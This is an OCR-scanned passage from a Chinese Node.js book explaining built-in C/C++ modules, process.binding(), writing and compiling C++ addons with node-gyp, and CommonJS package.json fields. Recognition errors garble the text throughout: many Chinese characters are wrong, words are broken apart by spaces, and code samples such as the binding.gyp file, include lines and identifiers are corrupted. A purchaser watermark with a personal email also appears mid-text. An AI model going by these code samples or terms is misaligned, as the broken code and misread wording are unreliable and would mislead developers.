体 初始 化 方法 挂 载 为 结构 的 register func 成 员 : 


#define NODE MODULE(modname, regfunc) 
extern "C" { 
NODE MODULE EXPORT node::node module struct modname ## module = 


NODE STANDARD MODULE STUFF, 
regfunc, 
NODE_ STRINGIFY(modname) 


}; 
} 


node_extensions.h 文 件 将 这 些 散 列 的 内 建 模 块 统一 放 进 了 一 个 叫 node_module_1list 的 数组 中 ， 
这 些 模块 有 : 

DQ node buffer 

DQ node crypto 


> a a a a 


DQ node evals 

DQ node fs 

DQ node http parser 
DQ node os 

D node zlib 

DQ node timer wrap 
DQ node tcp wrap 

D node udp wrap 
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DQ node pipe wrap 

DQ node cares wrap 
D node tty wrap 

DQ node process wrap 


DQ node fs event wrap 

DQ node signal watcher 

这 些 内 建 模块 的 取出 也 十 分 简单 -Node 提供 了 get builtin module() 方 法 从 node module list 
数组 中 取出 这 些 模块 。 

内 建 模块 的 优势 在 于 : 首先 ， 它 们 本 身 由 C/C++ 编 写 ， 性 能 上 优 于 脚本 语言 ;其 次 ， 在 进行 
文件 编译 时 , 它们 被 编译 进 二 进 制 文件 。 一 旦 Node 开 始 执行 , 它们 被 直接 加 载 进 内 存 中 , 无须 再 
次 做 标识 符 定 位 、 文 件 定 位 、 编 详 等 过 程 ， 和 直接 台 可 执行 。 

2. 内 建 模块 的 导出 

在 Node 的 所 有 模块 类 型 中 ， 存 在 着 如 图 2-4 所 示 的 一 种 依赖 层级 关系 ， 即 文件 模块 可 能 会 依 
赖 核心 模块 ， 核 心 模块 可 能 会 依赖 内 建 模 块 。 


文件 模块 


核心 模块 


(JavaScript) 


内 建 模块 
(C/C++) 


图 2-4 ”依赖 层级 关系 


通常 ， 不 推荐 文件 模块 直接 调用 内 建 模块 。 如 需 调 用 ， 直 接 调 用 核心 模块 即 可 ， 因 为 核心 模 
块 中 基本 都 封装 了 内 建 模块 。 那 么 内 建 模块 是 如 何 将 内 部 变量 或 方法 导出 ， 以 供 外 部 JavaScript 
核心 模块 调用 的 呢 ? 

Node 在 启动 时 ， 会 生成 一 个 全 局 变量 process， 并 提供 Binding() 方 法 来 协助 加 载 内 建 模块 。 
Binding() 的 实现 代码 在 src/node.cc 中 ， 具 体 如 下 所 示 : 


static Handle<Value> Binding(const Arguments& args) { 
HandleScope scope; 


Local<String> module = args[0]->ToString(); 
String: :Utf8Value module v(module); 
node module struct* modp; 


if (binding cache.IsEmpty()) { 
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binding cache = Persistent<Object>::New(Object: :New()); 
} 


Local<Object> exports; 


if (binding cache->Has(module)) { 
exports = binding cache->Get(module)->ToObject(); 
return scope.Close(exports); 


} 


// Append a string to process.moduleLoadlist 
char buf[1024] ; 

snprintf(buf, 1024, "Binding %s", *module v); 
uint32 t 1 = module load list->Length(); 
module load list->Set(1, String::New(buf)); 


if ((modp = get builtin module(*module v)) != NULL) { 
exports = Object: :New(); 
modp->register func(exports); 
binding cache->Set(module, exports); 


} else if (!strcmp(*module v, "constants")) { 
exports = Object: :New(); 
DefineConstants(exports); 
binding cache->Set(module, exports); 


#ifdef POSIX 
} else if (!strcmp(*module v, "io watcher")) { 
exports = Object: :New(); 
IOWatcher: :Initialize(exports); 
binding cache->Set(module, exports); 
#endif 


} else if (!strcmp(*module v, "natives")) { 
exports = Object: :New(); 
DefineJavaScript(exports); 
binding cache->Set(module, exports); 


} else { 


return ThrowException(Exception::Error(String::New("No such module"))); 


} 


return scope.Close(exports); 


} 


在 加 载 内 建 模块 时 ， 我 们 先 创 建 一 个 exports 空 对 象 ， 然 后 调用 get_builtin_module() 方 法 取 
出 内 建 模 块 对 象 , 通过 执行 register func() 填 充 exports 对 象 , 最 后 将 exports 对 象 按 模块 名 缓存， 
并 返回 给 调用 方 完 成 导出 。 

这 个 方法 不 仅 可 以 导出 内 建 方法 , 还 能 导出 一 些 别 的 内 容 。 前面 提 到 的 JavaScript 核 心 文件 被 
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转换 为 C/C++ 数组 存储 后 ， 便 是 通过 process.binding('natives') 取 出 放置 在 NativeModule. 
source 中 的 : 


NativeModule. source = process.binding('natives'); 
该 方法 将 通过 js2c.py 工 具 转 换 出 的 字符 串 数 组 取出 ， 然 后 重新 转换 为 普通 字符 串 ， 以 对 2 
JavaScript 核 心 模块 进行 编译 和 执行 。 


2.3.3 ”核心 模块 的 引入 流程 


前 面 讲 述 了 核心 模块 的 原理 ， 也 解释 了 核心 模块 的 引入 速度 为 何 是 最 快 的 。 

从 图 2-5 所 示 的 os 原生 模块 的 引入 流程 可 以 看 到 ,为 了 符合 CommonJS 模 块 规 郊 ,从 JavaScript 
到 C/C++ 的 过 程 是 相当 复杂 的 ， 它 要 经 历 C/C++ 层 面 的 内 建 模块 定义 、( JavaScript ) 核心 模块 的 
定义 和 3 引入 以 及 ( JavaScript ) 文件 模块 层面 的 引信。 但 是 对 于 用 户 而 言 ，require() 十 分 人 简洁、 
友好 


| 
NativeModule. require("os") 
process.binding( "os") 


get builtin module("node os") 
NODE_ MODULE(node os, reg func) 


图 2-5 ”os 原生 模块 的 引入 流程 


2.3.4 编写 核心 模块 


核心 模块 被 编译 进 二 进 制 文件 需要 遵循 一 定 规则 。 作为 Node 的 使 用 者 , 尽管 几乎 没有 机 会 参 
与 核心 模块 的 开发 ， 但 是 了 解 如 何 开 发 核心 模块 有 助 于 我 们 更 加 深入 地 了 解 Node。 
核心 模块 中 的 JavaScript 部 分 几乎 与 文件 模块 的 开 改 相同， 遵循 CommonJS 模 块 规范 ， 上 
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下 文中 除了 拥有 require、module 、exports 外 ， 还 可 以 调用 Node 中 的 一 些 全 局 变量 ， 这 里 不 
做 描述 。 

下 面 我 们 以 CC++ 模 块 为 例 演 示 如 何 编写 内 建 模 块 。 为 了 便于 理解 ,我们 先 编写 一 个 极其 简 
单 的 JavaScript 版 本 的 原型 ， 这 个 方法 返回 一 个 Hello world! 字 人 符 串 : 

exports.sayHello = function () { 


return 'Hello world!'; 


}; 
编写 内 建 模块 通常 分 两 步 完 成 : 编写 头 文 件 和 编写 C/C++ 文件 。 
(1) 将 以 下 代码 保存 为 node hello.h， 存 放 到 Node 的 src 目 录 下 : 


#ifndef NODE HELLO_H_ 
#define NODE HELLO H_ 
#include <v8.h> 


namespace node { 
// 预定 义 方法 
v8: :Handle<v8::Value> SayHello(const v8::Arguments& args); 


} 
#endif 


(2) 编写 node_hello.cc， 并 存储 到 src 目 录 下 : 


#include <node.h> 
#include <node hello.h> 
#include <v8.h> 


namespace node { 


using namespace v8; 

// 实现 预定 义 的 方法 

Handle<Value> SayHello(const Arguments& args) { 
HandleScope scope; 
return scope.Close(String::New("Hello world!")); 


} 


// 给 传 入 的 目标 对 象 添加 sayHello 方 法 
void Init Hello(Handle<Object> target) { 

target->Set(String: :NewSymbol("sayHello"), FunctionTemplate::New(SayHello)->GetFunction()); 
} 


} 

// 调用 NODE_MODULE() 将 注册 方法 定义 到 内 存 中 

NODE MODULE(node hello, node::Init Hello) 

以 上 两 步 完 成 了 内 建 模块 的 编写 ， 但 是 真正 要 让 Node 认 为 它 是 内 建 模块 ， 还 需要 更 改 
src/node_extensions.h ， 在 NODE EXT LIST END 亲 添 加 NODE EXT LIST ITEM(node hello) ， 以 将 
node hello 模 块 添加 进 node module 1ist 数 组 中 。 
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其 次 ， 还 需要 让 编写 的 两 份 代码 编译 进 执行 文件 ， 同 时 需要 更 改 Node 的 项 目 生 成 文件 
node.gyp， 并 在 'target_name': 'node' 节点 的 sources 中 添加 上 新 编写 的 两 个 文件 。 然 后 编译 整个 
Node 项 目 ， 上 具体 的 编译 步骤 请 参见 附录 A。 

编译 和 安装 后 ， 和 直接 在 命令 行 中 运行 以 下 代码 ， 将 会 得 到 期 望 的 效果 : 

$ node 

> var hello = process.binding('hello'); 

undefined 

> hello.sayHello(); 


'Hello world!' 
> 


至 此 , 原生 编写 过 程 中 需要 注意 的 细 届 都 已 表述 过 了 。 可 以 看 出 , 简单 的 模块 通过 JavaScript 
来 编写 可 以 大 大 提高 生产 效率 .这 里 我 们 写作 本 节 的 目的 是 和 希望 有 能 力 的 该 者 可 以 次 人 Node 的 核 
心 模 块 ， 去 学 习 它 或 者 改进 它 。 


2.4 C/C++ 扩展 模块 


对 于 前 端 工 程 师 来 说 ，C/C++ 扩 展 模块 或 许 比较 生 玖 和 星 深 ， 但 是 如 果 你 了 解 了 它 ， 在 模块 
出 现 性 能 瓶颈 时 将 会 对 你 有 极 大 的 帮助。 

JavaScript 的 一 个 盟 型 弱点 承 是 位 运算 。JavaScript 的 位 运算 参照 Java 的 位 运算 实现 , 但 是 Java 
位 运算 是 在 int 型 数字 的 基础 上 进行 的 ， 而 JavaScript 中 只 有 double 型 的 数据 类 型 ， 在 进行 位 运算 
的 过 程 中 ， 需 要 将 double 型 转换 为 jnt 型 ， 然 后 再 进行 。 所 以 ， 在 JavaScript 层 面 上 做 位 运算 的 效 
率 不 高 。 

在 应 用 中 ， 会 频繁 出 现 位 运算 的 需求 ， 包 括 转 人 码 、 编 码 等 过 程 ， 如 果 通 过 JavaScript 来 实现 ， 
CPU 资源 将 会 耗费 很 多 ， 这 时 编写 C/C++ 扩 展 模块 来 提升 性 能 的 机 会 来 了 。 

C/C++ 扩展 模块 属于 文件 模块 中 的 一 类 。 前 面 讲 述 文件 模块 的 编译 部 分 时 提 到 ，C/C++ 模 块 
通过 预先 编译 为 .node 文 件 ， 人 然后 调用 process .dlopen() 方 法 加 载 执行 。 在 这 一 方 中 ， 我 们 将 分 析 
整个 C/C++ 扩展 模块 的 编写 、 编 泽 、 加 载 、 导 出 的 过 程 。 

在 开始 编写 扩展 模块 之 前 ,需要 强调 的 一 点 是 ,Node 的 原生 模块 一 定 程 度 上 是 可 以 路 平台 的 ， 
其 前 提 条 件 是 源 代 码 可 以 文 持 在 *snix 和 Windows 上 编译 ， 其 中 *nix 下 通过 g++/gcc 等 编译 需 编 译 为 
动态 链接 共享 对 象 文件 ( .so ), 在 Windows 下 则 需要 通过 Visual C++ 的 编 详 希 编 译 为 动态 链接 库 文 
件 ( .dl ), 如 图 2-6 所 示 。 这 里 有 一 个 让 人 迷惑 的 地 方 , 那 就 是 引用 加 载 时 却 是 .node 文 件 。 其 实 .node 
的 扩展 名 只 是 为 了 看 起 来 更 目 然 一 点 ， 不 会 因为 平台 差异 产生 不 同 的 感 党 。 实 际 上 ， 在 Windows 
下 它 是 一 个 .dl 文件 , 在 *nix 下 则 是 一 个 .so 文件 。 为 了 实现 路 平台 ，dlopen() 方 法 在 内 部 实现 时 区 
分 了 平台 ,分 别 用 的 是 加 载 .so 和 .dll 的 方式 。 图 2-6 为 扩展 模块 在 不 同 平台 上 编译 和 加 载 的 详细 
过 程 。 

值得 注意 的 是 ， 一 个 平台 下 的 ,node 文件 在 另 一 个 平台 下 是 无 法 加 载 执行 的 ， 必 须 重新 用 各 
目 平 人 台 下 的 编译 希 编 译 为 正确 的 .node 文 件 。 
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“nix 


编译 源码 编译 源码 


VINndows 


C/C++ 源码 


生成 .node 文 件 生成 .node 文 件 
加 载 .so 文件 加 载 .dl 文件 
| 


dlopen() 加 载 dlopen() 加 载 


导出 给 JavaScript 导出 给 JavaScript 


图 2-6 ”扩展 模块 不 同 平 台 上 的 编 详 和 加 载 过 程 


2.4.1 前 提 条 件 


如 条 想 要 编写 高 质量 的 CC++ 打 展 模块 ， 还 需要 深厚 的 C/C++ 编 程 功底 才 行 。 除 此 之 外 ， 以 
下 这 些 条 目 都 是 不 能 避 开 的 ， 在 了 解 它们 之 后 ， 可 以 让 你 在 编写 过 程 中 事半功倍 。 

口 GYP 项 目 生 成 工具 .在 Node 0.6 中 , 第 三 方 模块 通过 它 目 身 提 供 的 node_ waf 工 具 实现 编 译 ， 
但 是 它 是 *nix 平 台 下 的 产物 ， 无 法 实现 跨 平 台 编 泽 。 在 Node 0.8 中 ，Node 决 定 据 弃 挥 
node waf 而 采用 路 平台 效果 更 好 的 项 目 生成 角 ， 它 就 是 GYP 工 具 ， 即 “Generate Your 
Projects” 短 人 句 的 缩写 。 它 的 好 处 在 于 ， 可 以 帮助 你 生成 各 个 平台 下 的 项 目 文件 ， 比 如 
Windows 下 的 Visual Studio 解 决 方案 文件 ( .sln )、Mac 下 的 XCode 项 目 配 置 文件 以 及 Scons 
工具 。 在 这 个 基础 上 上， 再 动用 各 自 平 台 下 的 编译 右 编 译 项 目 。 这 大 大 减少 了 器 平 台 模块 
在 项 目 组 织 上 的 精力 投入 。 

Node 源 码 中 一 度 出 现 过 各 种 项 目 文件 ， 后 来 均 统一 为 GYP 工 具 。 这 除了 可 以 减少 编 
写 路 平台 项 目 文件 的 工作 量 外 ， 另 一 个 简单 的 原因 就 是 Node 目 身 的 源码 就 是 通过 GYP 编 
译 的。 为 此 , Nathan Rajlich 基 于 GYP 为 Node 提 供 了 一 个 专 有 的 扩展 构建 工具 node-gyp,， 这 
个 工具 通过 npm install -g node-gyp 这 个 命令 即 可 安装 。 


图 灵 社 区 会 员 Eric Liu(guangqiang.dev@gmail.com) 专 享 尊重 版 权 


2.4 C/C++ 扩展 模块 29 


口 V8 引擎 C++ 库 。V8 是 Node 自 身 的 动力 来 源 之 一 。 它 自身 由 C++ 写 成 ， 可 以 实现 JavaScript 
与 C++ 的 互相 调用 。 

D libuv 库 。 它 是 Node 自 身 的 动力 来 源 之 二 。Node 能 够 实现 跨 平台 的 一 个 诀 穿 就 是 它 的 libuv 
库 ， 这 个 库 是 跨 平 台 的 一 层 封 狼 ， 通 过 它 去 调用 一 些 底 层 操作 ， 比 目 己 在 各 个 平台 下 编 
写实 现 要 马 效 得 多 。1libuv 封 装 的 功能 包括 事件 循环 、 文 件 操 作 等。 

D Node 内 部 库 。 与 C++ 模块 时 ， 免 不 了 要 做 一 些 面 加 对象 的 编程 工作 ， 而 Node 目 身 提供 了 
一 些 C++ 代 人 码 ， 比 如 node: :0bjectWrap 类 可 以 用 来 包 疙 你 的 目 定义 类 ， 它 可 以 帮助 实现 对 
象 回收 等 工作 。 

口 其 他 库 。 其 他 存在 deps 目 录 下 的 库 在 编写 扩展 模块 时 也 许可 以 帮助 你 ， 比 如 zlib、openssl、 
http parser 等 。 


2.4.2 C/C++ 扩展 模块 的 编写 


在 介绍 C/C++ 内 建 模块 时 ， 其 实 已 经 介绍 了 C/C++ 模块 的 编写 方式 。 普 通 的 扩展 模块 与 内 建 
模块 的 区 别 在 于 无 须 将 源 代 码 编 详 进 Node， 而 是 通过 dlopen() 方 法 动态 加 载 。 所 以 在 编写 普通 的 
扩展 模块 时 ， 无须 将 源 代码 写 进 node 命 名 空间 ， 也 不 需要 提供 涉 文 件 。 下 面 我 们 将 采用 同一 个 例 
子 来 介绍 C/C++ 扩展 模块 的 编写 。 

它 的 JavaScript 原 型 代码 与 前 面 的 例子 一 样 : 


exports.sayHello = function () { 
return ‘Hello world!'; 


站 
新 建 hello 目 录 作 为 自己 的 项 目 位 置 ， 编 写 hello.cc 并 将 其 存储 到 src 目 录 下 ， 相 关 代 码 如 下 : 


#include “node .hy> 
#include <v8 .hy> 


using namespace v8; 

// 实现 预定 义 的 方法 

Handle<Value> SayHello(const Arguments& args) { 
HandleScope scope; 
return scope.Close(String::New("Hello world!")); 


} 


// 给 传 入 的 目标 对 象 添加 sayHello() 方 法 
void Init Hello(Handle<Object> target) { 
target->Set(String: :NewSymbol("sayHello"), FunctionTemplate::New(SayHello)->GetFunction()); 


， 调用 NODE_MODULE() 方 法 将 注册 方法 定义 到 内 存 中 

NODE MODULE(hello, Init Hello) 

C/C++ 扩展 模块 与 内 建 模块 的 套路 一 样 ， 将 方法 挂 载 在 target 对 象 上 ,然后 通过 NODE_MODULE 
声明 即 可 。 

由 于 不 像 编 写 内 建 模块 那样 将 对 象 声 明 到 node module _ list 链表 中 ， 所 以 无 法 被 认 作 是 一 个 
原生 模块 ， 只 能 通过 dlopen() 来 动态 加 载 ， 然 后 导出 给 JavaScript 调 用 。 
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2.4.3 C/C++ 扩展 模块 的 编译 


在 GYP 工 具 的 帮助 下 ，C/C++ 扩 展 模 块 的 编译 是 一 件 省 心 的 事情 ， 无 须 为 每 个 平台 编写 不 同 
的 项 目 编译 文件 。 写 好 .gyp 项 目 文件 是 除 编码 外 的 头等 大 事 ， 然 而 你 也 无 须 担 心 此 事 太 难 ， 因 
为 .gyp 项 目 文 件 是 足够 测 单 的 。node-gyp 约 定 .gyp 文 件 为 binding.gyp， 其 内 容 如 下 所 示 : 
{ 
‘targets': [ 
{ 
‘target name': “ hello ， 
'sources': | 
'src/hello.cc’ 


3 
onditions': |[ 
[ 'OS a "win”" I 


{ 
'libraries': ['-lnode.1ib'| 
} 
] 
] 
} 
] 
} 
然后 调用 : 


$ node-gyp configure 
会 得 到 如 下 的 输出 结 


gyp info it worked if it ends with ok 

gyp info using node-gypQ0.8.3 

gyp info using node@0.8.14 | darwin | x64 

gyp info spawn python 

gyp info spawn args | '/usr/local/lib/node modules/node-gyp/gyp/gyp ， 
gyp info spawn args “binding.gyp ， 

gyp info Spawn args '-f', 

gyp info spawn args make ， 

gyp info spawn args '-I1', 

gyp info spawn args '/Users/jacksontian/git/diveintonode/examples/02/addon/build/config.gypi', 
gyp info spawn args '-1', 

gyp info spawn args '/usr/local/lib/node modules/node-gyp/addon.gypi', 
gyp info Spawn args '-1', 

gyp info spawn args '/Users/jacksontian/.node-gyp/0.8.14/common.gypi', 
gyp info spawn args '-Dlibrary=shared 1]ibrary ， 

gyp info spawn args '-Dvisibility=default', 


gyp info spawn args '-Dnode root dir=/Users/jacksontian/.node-gyp/0.8.14', 

gyp info spawn args '-Dmodule root dir=/Users/jacksontian/git/diveintonode/examples/02/addon', 
gyp info spawn args  “--depth=.， 

gyp info spawn args '--generator-output', 


gyp info spawn args  'build', 
gyp info spawn args '-Goutput dir=." | 
gyp info ok 
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node-gyp configure 这 个 命令 会 在 当前 目录 中 创建 build 目 录 ， 并 生成 系统 相关 的 项 目 文件 。 
在 *nix 平 台 下 ，build 目 录 中 会 出 现 Makefile 等 文件 ; 在 Windows 下 ， 则 会 生成 vcxproj 等 文件 。 
继续 执行 如 下 代码 : 
$ node-gyp build 

会 得 到 如 下 的 输出 结果 : 


gyp info it worked if it ends with ok 

gyp info using node-gypQ0.8.3 

gyp info using node@0.8.14 | darwin | x64 

gyp info spawn make 

gyp info spawn args [ 'BUILDTYPE=Release', '-C', 'build' | 
CXX(target) Release/obj.target/hello/hello.o 
SOLINK MODULE(target) Release/hello.node 
SOLINK MODULE(target) Release/hello.node: Finished 

gyp info ok 


编译 过 程 会 根据 平台 不 同 ， 分 别 通过 make 或 vcbuild 进 行 编 详 。 编 译 完成 后 ，hello.node 文 件 
会 生成 在 build/Release 目 录 下 。 


2.4.4 C/C++ 扩展 模块 的 加 载 


得 到 hello.node 结 朵 文件 后 ， 如 何 凋 用 扩展 模块 其 实在 前 面 已 经 提 及 。require() 方 法 通过 解 
析 标 识 待 、 路 径 分 析 、 文 件 定 位 ， 然 后 加 载 执行 即 可 。 下 面 的 代码 引入 前 面 编 详 得 到 的 ,node 文 
件 ， 并 调用 执行 其 中 的 方法 : 


var hello = require('./build/Release/hello.node'); 


console.log(hello.sayHello()); 

以 上 代码 存 为 hello.js， 调 用 node hello.js 命 令 即 可 得 到 如 下 的 输出 结 

Hello world! 

对 于 以 .node 为 扩展 名 的 文件 ，Node 将 会 调用 process.dlopen() 方 法 去 加 载 文件 : 


//Native extension for .node 
Module。extensions| .node'] = process.dlopen; 


对 于 调用 者 而 言 ，require() 是 轻松 愉快 的 。 对 于 扩展 模块 的 编写 者 来 说 ，process.dlopen() 
中 隐 含 的 过 程 值 得 了 解 一 番 。 

如 图 2-7 所 示 ，require() 在 引入 .node 文 件 的 过 程 中 ， 实际 上 经 历 了 4 个 层面 上 的 调用 。 

加 载 .node 文 件 实际 上 经 历 了 两 个 步骤 ， 第 一 个 步骤 是 调用 uv_dlopen() 方 法 去 打开 动态 链接 
库 ， 第 二 个 步骤 是 调用 uv_dlsym() 方 法 找到 动态 链接 库 中 通过 NODE_MODULE 宏 定义 的 方法 地 址 。 这 
两 个 过 程 都 是 通过 1libuv 库 进行 封装 的 : 在 *nix 平 台 下 实际 上 调用 的 是 dlfcn.h 头 文件 中 定义 的 
dlopen() 和 dlsym() 两 个 方法 ; 在 Windows 平 台 则 是 通过 LoadLibraryExW() 和 GetProcAddress() 这 两 
个 方法 实现 的 ， 它 们 分 别 加 载 .so 和 .dll 文 件 ( 实际 为 .node 文 件 )。 
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JavaScript 
require("./hello.node") 


原生 模块 


process.dlopen("./hello.node", exports) 


libuv 
uv_dlopen()/uv_dlsym() 


“miIX Windows 
dlopen() /dlsym() LoadLibraryExWO /GetPprocAddress() 


图 2-7 require() 引 入 .node 文 件 的 过 程 


这 里 对 libuv 函 数 的 调用 充分 表现 Node 利 用 libuv 实 现 跨 平台 的 方式 ， 这 样 的 情景 在 很 多 地 方 
还 会 出 现 。 

由 于 编写 模块 时 通过 NODE MODULE 将 模块 定义 为 node module struct 结 构 ， 所 以 在 获取 函数 地 
址 之 后 ， 将 它 映 冉 为 node_module_struct 结 构 几 乎 是 无 颖 对 接 的 。 接 下 来 的 过 程 就 是 将 传 入 的 
exports 对 象 作为 实 参 运行 ， 将 C++ 中 定义 的 方法 挂 载 在 exports 对 象 上 ， 然 后 调用 者 就 可 以 轻松 
调用 了 。 

C/C++ 扩展 模块 与 JavaScript 模 块 的 区 别 在 于 加 载 之 后 不 需要 编译 , 直接 执行 之 后 就 可 以 被 外 
部 调用 了 ， 其 加 载 速度 比 JavaScript 模 块 略 快 。 

使 用 C/C++ 扩展 檬 块 的 一 个 好 处 在 于 可 以 更 灵活 和 动态 地 加 载 它 们 , 保持 Node 模 块 自嘲 俐 单 
性 的 同时 ， 给 予 Node 无 限 的 可 扩展 性 。 

关于 node-gyp 工 具 的 更 多 细节 可 以 参见 https:/github.com/TooTallNatemnode-gyp ( 作者 为 
Nathan Rajlicn，Node 源 码 的 核心 贡献 者 之 一 )。 


2.5 模块 调用 栈 


结束 文件 模块 、 核 心 模块 、 内 建 模块 、C/C++ 扩 展 模块 等 的 阐述 之 后 ， 有 必要 明确 一 下 各 种 
模块 之 则 的 调用 关系 ， 如 图 2-8 所 示 。 

C/C++ 内 建 模块 属于 最 底层 的 模块 ， 它 属于 核心 模块 ， 主 要 提供 API 给 JavaScript 核 心 模块 和 
第 三 方 JavaScript 文 件 模块 调用 。 如 果 你 不 是 非常 了 解 要 调用 的 C/C++ 内 建 模块 , 请 尽量 避免 通过 
process.binding() 方 法 直接 调用 ， 这 是 不 推荐 的 。 

JavaScript 核 心 模 块 主要 扮演 的 职责 有 两 类 : 一 类 是 作为 C/C++ 内 建 模 块 的 封装 层 和 桥接 层 ， 
供 文件 模块 调用 ; 一 类 是 纯粹 的 功能 模块 ， 它 不 需要 跟 底 层 打 交道 ， 但 是 又 十 分 重要 。 
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文件 模块 


核心 模块 


C/C++ 内 建 模块 


图 2-8 模块 之 间 的 调用 关系 


文件 模块 通常 由 第 三 方 编写 , 包括 普通 JavaScript 模 块 和 C/C++ 扩 展 模块 ， 主 要 调用 方向 为 普 
通 JavaScript 模 块 调用 扩展 模块 。 


2.6 包 与 NPM 


Node 组 织 了 自身 的 核心 模块 , 也 使 得 第 三 方 文件 模块 可 以 有 序 地 编写 和 使 用 。 但 是 在 第 三 方 
模块 中 ， 模 块 与 模块 之 间 仍 然 是 散 列 在 各 地 的 ， 相 互 之 间 不 能 直接 引用 。 而 在 模块 之 外 ， 包 和 
NPM 则 是 将 模块 联系 起 来 的 一 种 机 制 。 

在 介绍 NPM 之 前 , 不 得 不 提起 CommonJS 的 包 规 范 。JavaScript 不 似 Java 或 者 其 他 语言 那样 ， 
具有 模块 和 包 结 构 。Node 对 模块 规范 的 实现 , 一 定 程度 上 解决 了 变量 依赖 、 依 赖 关 系 等 代码 组 
织 性 问题 。 包 的 出 现 ， 则 是 在 模块 的 基础 上 进一步 组 织 JavaScript 代 人 码 。 图 2-9 为 包 组 织 模块 示 
意图 。 


require() 


图 2-9 包 组 织 模块 示意 图 
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CommonJS 的 包 规范 的 定义 其 实 也 十 分 简单 ， 它 由 包 结 构 和 包 摘 述 文件 两 个 部 分 组 成 ， 前 者 
用 于 组 织 包 中 的 各 种 文件 ， 后 者 则 用 于 摘 述 包 的 相关 信息 ， 以 供 外 部 读 取 分 析 。 


2.6.1 包 结 构 
包 实 际 上 是 一 个 存档 文件 ， 即 一 个 目录 直接 打包 为 .zip 或 targz 格 式 的 文件 ， 安 交 后 解压 还 原 


口 package.json: 包 描 述 文件 。 

口 bin: 用 于 存放 可 执行 二 进 制 文件 的 目录 。 

D lib: 用 于 存放 JavaScript 代 码 的 目录 。 

口 doc: 用 于 存放 文档 的 目录 。 

口 test: 用 于 存放 单元 测试 用 例 的 代码 。 

可 以 看 到 ，CommonJS 包 规范 从 文档 、 测 试 等 方面 午 做 过 考虑 。 当 一 个 包 完 成 后 回 外 公布 时 ， 
用 户 看 到 单元 测试 和 文档 的 时 候 ， 会 给 他 们 一 种 踏实 可 笔 的 感觉 。 


2.6.2 包 描 述 文件 与 NPM 


包 描 述 文件 用 于 表达 非 代码 相关 的 信息 ， 它 是 一 个 JSON 格 式 的 文件 一 一 package.json， 位 于 
包 的 根 目录 下 , 是 包 的 重要 组 成 部 分 。 而 NPM 的 所 有 行为 都 与 包 撒 述 文件 的 字段 县 县 相关 。 由 于 
CommonJS 包 规范 尚 处 于 草案 阶段 ，NPM 在 实践 中 做 了 一 定 的 取舍 ， 具 体 细 市 在 后 面 会 介绍 到 。 

CommonJS 为 package.json 文 件 定义 了 如 下 一 些 必 需 的 字段 。 

口 name。 包 和 名。 规范 定义 它 需 要 由 小 写 的 字母 和 数字 组 成 ， 可 以 包含 .、_ 和 -， 但 不 允许 出 

现 空 格 。 包 和 名 必须 是 唯一 的 ， 以 免 对 外 公布 时 产生 重 名 冲突 的 误解 。 除 此 之 外 ，NPM 还 
建议 不 要 在 包 名 中 附带 上 node 或 js 来 重复 标识 它 是 JavaScript 或 Node 模 块 。 

口 description。 包 简介 。 

口 version。 版 本 号 。 一 个 语义 化 的 版 本 号 ， 这 在 http://semver.org/ 上 有 详细 定义 ,通常 为 

major.minor.revision 格 式 。 该 版 本 号 十 分 重要 ， 常 第 用 于 一 些 版 本 控制 的 场合 。 

口 keywords。 关 键 词 数组 ，NPM 中 主要 用 来 做 分 类 搜索 。 一 个 好 的 关键 词 数组 有 利于 用 户 

快速 找到 你 编写 的 包 。 

D maintainers。 包 维护 者 列表 。 每 个 维护 者 由 name 、email 和 web 这 3 个 属性 组 成 。 示 例如 下 : 


"maintainers": [{ "name": "Jackson Tian", "email": "shyvo1987@gmail.com", "web": "http://html5ify. 


com”}] 

NPM 通 过 该 属性 进行 权限 认证 。 

口 contributors。 页 献 者 列表 。 在 开源 社区 中 ， 为 开源 项 目 提 供 代 码 是 经 常 出现 的 事情 ， 如 
来 名 字 能 出 现在 知名 项 目的 contributors 列 表 中 , 是 一 件 比 较 有 宁 誉 感 的 事 。 列 表 中 的 第 
一 个 页 献 应 当 是 包 的 作者 本 人 。 它 的 格式 与 维护 者 列表 相同 。 

口 bugs。 一 个 可 以 反馈 bug 的 网 页 地 址 或 邮件 地 址 。 
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口 licenses。 当 前 包 所 使 用 的 许可 证 列表 ， 表 示 这 个 包 可 以 在 哪些 许可 证 下 使 用 。 它 的 格式 
如 下 : 
"licenses": [{ "type": "GPLv2", "url": "http://www.example.com/licenses/gpl.html", }] 

口 iepositories。 托 管 源 代码 的 位 置 列 表 ， 表 明 可 以 通过 哪些 方式 和 地 址 访问 包 的 源 代码 。 

口 dependencies。 使 用 当前 包 所 需要 依赖 的 包 列 表 。 这 个 属性 十 分 重要 , NPM 会 通过 这 个 属 
性 帮助 目 动 加 载 依赖 的 包 。 

除了 必 选 字段 外 ， 规 范 还 定义 了 一 部 分 可 选 字 段 ， 具 体 如 下 所 示 。 

口 homepage。 当 前 包 的 网 站 地 址 。 

口 os。 操作 系统 文 持 列 表 。 这 些 操 作 系 统 的 取 值 包括 aix、freebsd、1inux、macos、solaris、 
vxworks 、windows。 如 条 设置 了 列表 为 空 ， 则 不 对 操作 系统 做 任何 假设 。 

口 cpu。CPU 染 构 的 文 持 列表 ， 有 效 的 架构 名 称 有 arm、mips、ppc、sparc、x86 和 x86_64。 同 
os 一 样 ， 如 果 列 表 为 空 ， 则 不 对 CPU 架构 做 任何 假设 。 

D engine。 文 持 的 JavaScript 引 | 擎 列表 ， 有 区 的 引擎 取信 包括 ejs、flusspferd、gpsee、jsc、 
spidermonkey 、narwhal 、node 和 v8。 

D builtin。 标 志 当 前 包 是 否 是 内 建 在 底层 系统 的 标准 组 件 。 

口 directories。 包 目录 说 明 。 

D implements。 实 现 规范 的 列表 。 标 志 当 前 包 实 现 了 CommonJS 的 哪些 规范 。 

D scripts。 脚 本 说 明 对 象 。 它 主要 被 包 窟 理 带 用 来 安装 、 编 详 、 测 试 和 节 载 包 。 示 例如 下 : 
"scripts": { "install": "install.js", 

"uninstall": "uninstall.js", 
"build": "build.js", 


"doc": make-doc.js ， 
"test": "test.js” } 


包 规 范 的 定义 可 以 帮助 Node 解 决 依赖 包 安 靶 的 问题 ， 而 NPM 正 是 基于 该 规范 进行 了 实现 。 
最 初 ， NPM 工 具 是 由 Isaac Z. Schlueter 单 独创 建 ， 提 供给 Node 服 务 的 Node 包 管理 希 ， 需 要 单独 安 
闻 。 后 来 ， 在 v0.6.3 厂 本 时 集成 进 Node 中 作为 默认 包 管 理 硕 ， 作 为 软件 包 的 一 部 分 一 起 安 骤 。 之 
后 ，Isaac Z. Schlueter 也 成 为 Node 的 掌 门 人 。 

